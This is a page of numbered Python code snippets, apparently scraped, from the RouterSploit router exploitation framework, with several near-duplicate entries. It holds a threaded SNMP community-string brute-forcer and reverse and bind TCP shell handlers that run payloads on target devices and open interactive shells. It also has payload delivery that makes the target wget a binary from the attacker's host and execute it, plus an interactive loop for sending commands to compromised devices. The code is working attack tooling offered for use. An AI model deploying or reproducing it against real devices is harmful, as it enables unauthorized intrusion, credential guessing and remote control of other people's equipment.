Exemplo n.º 1
0
    def target_function(self, running, data):
        name = threading.current_thread().name
        address = "{}:{}".format(self.target, self.port)

        print_status(name, 'thread is starting...')

        while running.is_set():
            try:
                string = data.next().strip()

                bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
                res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string)

                if res[0] != None:
                    running.clear()
                    print_success("{}: Valid community string found!".format(name), string)
                    self.strings.append(tuple([string]))
                else:
		    pass
                    # print_error("{}: Invalid community string.".format(name), string)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.')
Exemplo n.º 2
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        for command in commands:
            thread = threading.Thread(target=self.exploit.execute,
                                      args=(command, ))
            thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                  self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(
                self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
Exemplo n.º 3
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(
                self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary
        thread = threading.Thread(target=self.exploit.execute,
                                  args=(commands[-1], ))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Exemplo n.º 4
0
    def reverse_tcp(self):
        sock = self.listen(self.options['lhost'], self.options['lport'])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Exemplo n.º 5
0
    def target_function(self, running, data):
        name = threading.current_thread().name
        address = "{}:{}".format(self.target, self.port)

        print_status(name, 'thread is starting...')

        while running.is_set():
            try:
                string = data.next().strip()

                bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
                res = netsnmp.snmpget(bindvariable,
                                      Version=1,
                                      DestHost=address,
                                      Community=string)

                if res[0] != None:
                    running.clear()
                    print_success(
                        "{}: Valid community string found!".format(name),
                        string)
                    self.strings.append(tuple([string]))
                else:
                    pass
                # print_error("{}: Invalid community string.".format(name), string)

            except StopIteration:
                break

        print_status(name, 'thread is terminated.')
Exemplo n.º 6
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], int(self.options['rport'])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
Exemplo n.º 7
0
 def command_set(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     if key in self.current_module.options:
         setattr(self.current_module, key, value)
         utils.print_success({key: value})
     else:
         utils.print_error("You can't set option '{}'.\n"
                           "Available options: {}".format(key, self.current_module.options))
Exemplo n.º 8
0
 def command_set(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     if key in self.current_module.options:
         setattr(self.current_module, key, value)
         utils.print_success({key: value})
     else:
         utils.print_error("You can't set option '{}'.\n"
                           "Available options: {}".format(key, self.current_module.options))
Exemplo n.º 9
0
 def command_unsetg(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     try:
         del GLOBAL_OPTS[key]
     except KeyError:
         utils.print_error("You can't unset global option '{}'.\n"
                           "Available global options: {}".format(key, GLOBAL_OPTS.keys()))
     else:
         utils.print_success({key: value})
Exemplo n.º 10
0
 def command_unsetg(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     try:
         del GLOBAL_OPTS[key]
     except KeyError:
         utils.print_error("You can't unset global option '{}'.\n"
                           "Available global options: {}".format(key, GLOBAL_OPTS.keys()))
     else:
         utils.print_success({key: value})
Exemplo n.º 11
0
    def shell(self, sock):
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Exemplo n.º 12
0
    def shell(self, sock):
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Exemplo n.º 13
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Exemplo n.º 14
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         utils.print_error(error)
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Exemplo n.º 15
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Exemplo n.º 16
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except:
         utils.print_error(traceback.format_exc(sys.exc_info()))
     else:
         if result is True:
             utils.print_success("Target is vulnerable")
         elif result is False:
             utils.print_error("Target is not vulnerable")
         else:
             utils.print_status("Target could not be verified")
Exemplo n.º 17
0
    def run(self):
        self.strings= []

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
Exemplo n.º 18
0
    def echo(self, binary, location):
        print_status("Using echo method")

        path = "{}/{}".format(location, self.binary_name)

        size = len(self.payload)
        num_parts = (size / 30) + 1

        # transfer binary through echo command
        print_status("Using echo method to transfer binary")
        for i in range(0, num_parts):
            current = i * 30
            print_status("Transferring {}/{} bytes".format(
                current, len(self.payload)))

            block = self.payload[current:current + 30].encode('hex')
            block = "\\\\x" + "\\\\x".join(
                a + b for a, b in zip(block[::2], block[1::2]))
            cmd = 'echo -ne "{}" >> {}'.format(block, path)
            self.exploit.execute(cmd)

        # execute binary
        if self.options['technique'] == "bind_tcp":
            self.execute_binary(location, self.binary_name)

            print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                      self.options['rport']))
            time.sleep(2)

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], self.options['rport']))

            print_success("Enjoy your shell")
            tn = telnetlib.Telnet()
            tn.sock = sock
            tn.interact()

        elif self.options['technique'] == "reverse_tcp":
            sock = self.listen(self.options['lhost'], self.options['lport'])
            self.execute_binary(location, self.binary_name)

            # waiting for shell
            self.shell(sock)
Exemplo n.º 19
0
    def run(self):
        self.strings = []
        print_status("Running module...")

        # todo: check if service is up

        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = tuple(["Community Strings"])
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")
Exemplo n.º 20
0
    def wget(self, binary, location):
        print_status("Using wget method")

        # run http server
        thread = threading.Thread(target=self.http_server,
                                  args=(self.options['lhost'],
                                        self.options['lport']))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
                                                   self.options['lhost'],
                                                   self.options['lport'],
                                                   self.binary_name, location,
                                                   self.binary_name)

        self.exploit.execute(cmd)

        # execute binary
        if self.options['technique'] == "bind_tcp":
            self.execute_binary(location, self.binary_name)

            print_status("Connecting to {}:{}".format(self.options['rhost'],
                                                      self.options['rport']))
            time.sleep(2)

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options['rhost'], self.options['rport']))

            print_success("Enjoy your shell")
            tn = telnetlib.Telnet()
            tn.sock = sock
            tn.interact()

        elif self.options['technique'] == "reverse_tcp":
            sock = self.listen(self.options['lhost'], self.options['lport'])
            self.execute_binary(location, self.binary_name)

            # waiting for shell
            self.shell(sock)
Exemplo n.º 21
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [
            f.split(".")[0] for f in listdir(path) if isfile(join(path, f))
            and f.endswith(".py") and f != "__init__.py"
        ]

    print_info()
    print_success(
        "Welcome to cmd. Commands are sent to the target via the execute method."
    )
    print_status(
        "Depending on the vulnerability, command's results might not be available."
    )
    print_status(
        "For further exploitation use 'show payloads' and 'set payload <payload>' commands."
    )
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(
                payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path),
                                  'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([
                            option,
                            getattr(payload, option),
                            payload.exploit_attributes[option]
                        ])

                if payload.handler == "bind_tcp":
                    options.append([
                        "rhost",
                        validators.ipv4(exploit.target), "Target IP address"
                    ])

                    if method == "wget":
                        options.append(
                            ["lhost", "", "Connect-back IP address for wget"])
                        options.append(
                            ["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(
                                    c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options,
                                                  **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options,
                                                  **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))
Exemplo n.º 22
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    path = "routersploit/modules/payloads/{}/".format(architecture)
    payload = None
    options = []

    if not payloads:
        payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]

    print_info()
    print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
    print_status("Depending on the vulnerability, command's results might not be available.")
    print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
    print_info()

    while 1:
        while not printer_queue.empty():
            pass

        if payload is None:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
        else:
            cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])

        cmd = raw_input(cmd_str)

        if cmd in ["quit", "exit"]:
            return

        elif cmd == "show payloads":
            print_status("Available payloads:")
            for payload_name in payloads:
                print_info("- {}".format(payload_name))

        elif cmd.startswith("set payload "):
            c = cmd.split(" ")

            if c[2] in payloads:
                payload_path = path.replace("/", ".") + c[2]
                payload = getattr(importlib.import_module(payload_path), 'Exploit')()

                options = []
                for option in payload.exploit_attributes.keys():
                    if option not in ["output", "filepath"]:
                        options.append([option, getattr(payload, option), payload.exploit_attributes[option]])

                if payload.handler == "bind_tcp":
                    options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])

                    if method == "wget":
                        options.append(["lhost", "", "Connect-back IP address for wget"])
                        options.append(["lport", 4545, "Connect-back Port for wget"])
            else:
                print_error("Payload not available")

        elif payload is not None:
            if cmd == "show options":
                headers = ("Name", "Current settings", "Description")

                print_info('\nPayload Options:')
                print_table(headers, *options)
                print_info()

            elif cmd.startswith("set "):
                c = cmd.split(" ")
                if len(c) != 3:
                    print_error("set <option> <value>")
                else:
                    for option in options:
                        if option[0] == c[1]:
                            try:
                                setattr(payload, c[1], c[2])
                            except Exception:
                                print_error("Invalid value for {}".format(c[1]))
                                break

                            option[1] = c[2]
                            print_success("{'" + c[1] + "': '" + c[2] + "'}")

            elif cmd == "run":
                data = payload.generate()

                if method == "wget":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    if communication.wget() is False:
                        continue

                elif method == "echo":
                    elf_binary = payload.generate_elf(data)
                    communication = Communication(exploit, elf_binary, options, **params)
                    communication.echo()

                elif method == "generic":
                    params['exec_binary'] = data
                    communication = Communication(exploit, "", options, **params)

                if payload.handler == "bind_tcp":
                    communication.bind_tcp()
                elif payload.handler == "reverse_tcp":
                    communication.reverse_tcp()

            elif cmd == "back":
                payload = None

        else:
            print_status("Executing '{}' on the device...".format(cmd))
            print_info(exploit.execute(cmd))